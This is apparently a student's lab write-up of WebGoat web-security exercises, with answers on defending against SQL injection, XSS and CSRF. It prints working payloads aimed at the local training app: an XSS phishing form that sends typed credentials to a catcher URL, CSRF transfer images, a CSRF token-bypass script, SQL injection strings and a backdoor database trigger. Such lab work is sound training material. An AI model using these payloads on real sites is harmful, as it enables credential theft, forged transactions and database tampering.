20155210 Exp9 Web安全基础实践

Exp9 Web安全基础实践

实验过程

开启webgoat

输入java -jar webgoat-container-7.1-exec.jar，来运行webgoat

在浏览器输入localhost:8080/WebGoat，进入WebGoat开始实验

根据下图提示进行登录

XSS攻击

1.Phishing with XSS （网路钓鱼）

在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form，让受害人在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，完整的XSS攻击代码如下：

</form>
<script>
function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

将上面的代码输入到输入框中，会出现如下登录框

输入用户名和密码，提示攻击成功

2.Stored XSS Attacks

创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容，输入标题，然后在message中输入一串代码，<script>alert("20155210 has no authority read it");</script>
结果如图：

3.Reflected XSS Attacks

当我们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展示给我们看：

这时如果我们将带有攻击性的URL作为输入源，例如输入<script>alert("20155210 has no authority change it");</script>，就会弹出对话框：

CSRF攻击

4.Cross Site Request Forgery（CSRF）

写一个URL诱使其他用户点击，从而触发CSRF攻击，通过图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。我们输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

如图：

由于我点击了发布的文件4次，所以右侧为4。

5.CSRF Prompt By-Pass

内容和前者相似，只不过这次需要确认转账，首先编辑内容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155210" width="1" height="1">

在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155210

点击CONFIRM按钮，再在浏览器中输入URL：http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM，成功转走了20155210元

6.CSRF Token By-Pass

本实验为读取令牌，并把令牌加到伪造的URL中，主要是读取目标网页的令牌，我们在文本框中加入如下代码：

<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=803158781&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=803158781&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

如图：

攻击成功

Injection Flaws

7.Numeric SQL Injection

通过注入SQL字符串的方式查看所有的天气数据，加上一个1=1这种永真式即可达到我们的目的，利用firebug，在任意一个值比如101旁边加上or 1=1：

然后选中Columbia，点Go，可以看到所有天气数据

8.Log Spoofing

我们输入的用户名会被追加到日志文件中，所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”，在User Name文本框中输入20155210%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符

9.String SQL Injection

构造SQL注入字符串，在文本框中输入' or 1=1 --，点击GO，可以查看到所以信息：

10.Database Backdoors

先输一个101，得到了该用户的信息：

可以发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=100000，成功把该用户的工资涨到了100000
接下来创建一个后门，把表中所有的邮箱和用户ID都设为我的
输入

101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155210@stooges.com' WHERE userid = NEW.userid

基础问题

SQL注入攻击原理，如何防御

SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是，在输入字符串中嵌入SQL指令，在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行，可能实现对后台数据库进行各种操作，甚至造成破坏后台数据库等严重后果。
SQL注入一般分为普通注入和盲注。

普通注入：后台数据库会回显有价值的提示信息，通过这些可能的报错信息可以更容易地进行注入，适合新手入门训练。

盲注：后台管理员在给出错误页面时，没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息（比如时间差）对表中的每一个字段进行探测，从而实现注入。

防御：对输入的数据进行过滤，过滤掉敏感字符。不使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。用加密方式或Hash函数来存储机密信息。

XSS攻击的原理，如何防御

攻击者利用网站漏洞（通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤），输入可以显示在页面上的、对其他用户造成影响的HTML代码；由于受害者浏览器对目标服务器的信任，当其访问目标服务器上被注入恶意脚本的页面后，这段恶意脚本可以顺利执行，实现获取用户cookie并可以利用用户身份进行非法操作的目的。
浏览器自身可以识别简单的XSS攻击字符串，从而阻止简单的XSS攻击；从根本上说，解决办法是消除网站的XSS漏洞，这就需要网站开发者运用转义安全字符等手段。

CSRF攻击原理，如何防御

CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统，类似于钓鱼。如用户当前已经登录了邮箱，或bbs，同时用户又在使用另外一个，已经被你控制的站点，我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你，你去点击一下，此时可能就会触发一个js的点击事件，构造一个bbs发帖的请求，去往你的bbs发帖，由于当前你的浏览器状态已经是登陆状态，所以session登陆cookie信息都会跟正常的请求一样，纯天然的利用当前的登陆状态，让用户在不知情的情况下，帮你发帖或干其他事情
通过 referer、token 或者验证码来检测用户提交。尽量不要在页面的链接中暴露用户隐私信息。对于用户修改删除等操作最好都使用post 操作。

实验感想

本次实验，我进行了多种攻击的练习，让我对这些攻击的原理有了进一步的理解。同时也加强了我对sql语言的理解。

posted @ 2018-05-27 15:39 20155210潘滢昊阅读(181) 评论(0) 编辑收藏举报

刷新页面返回顶部

20155210潘滢昊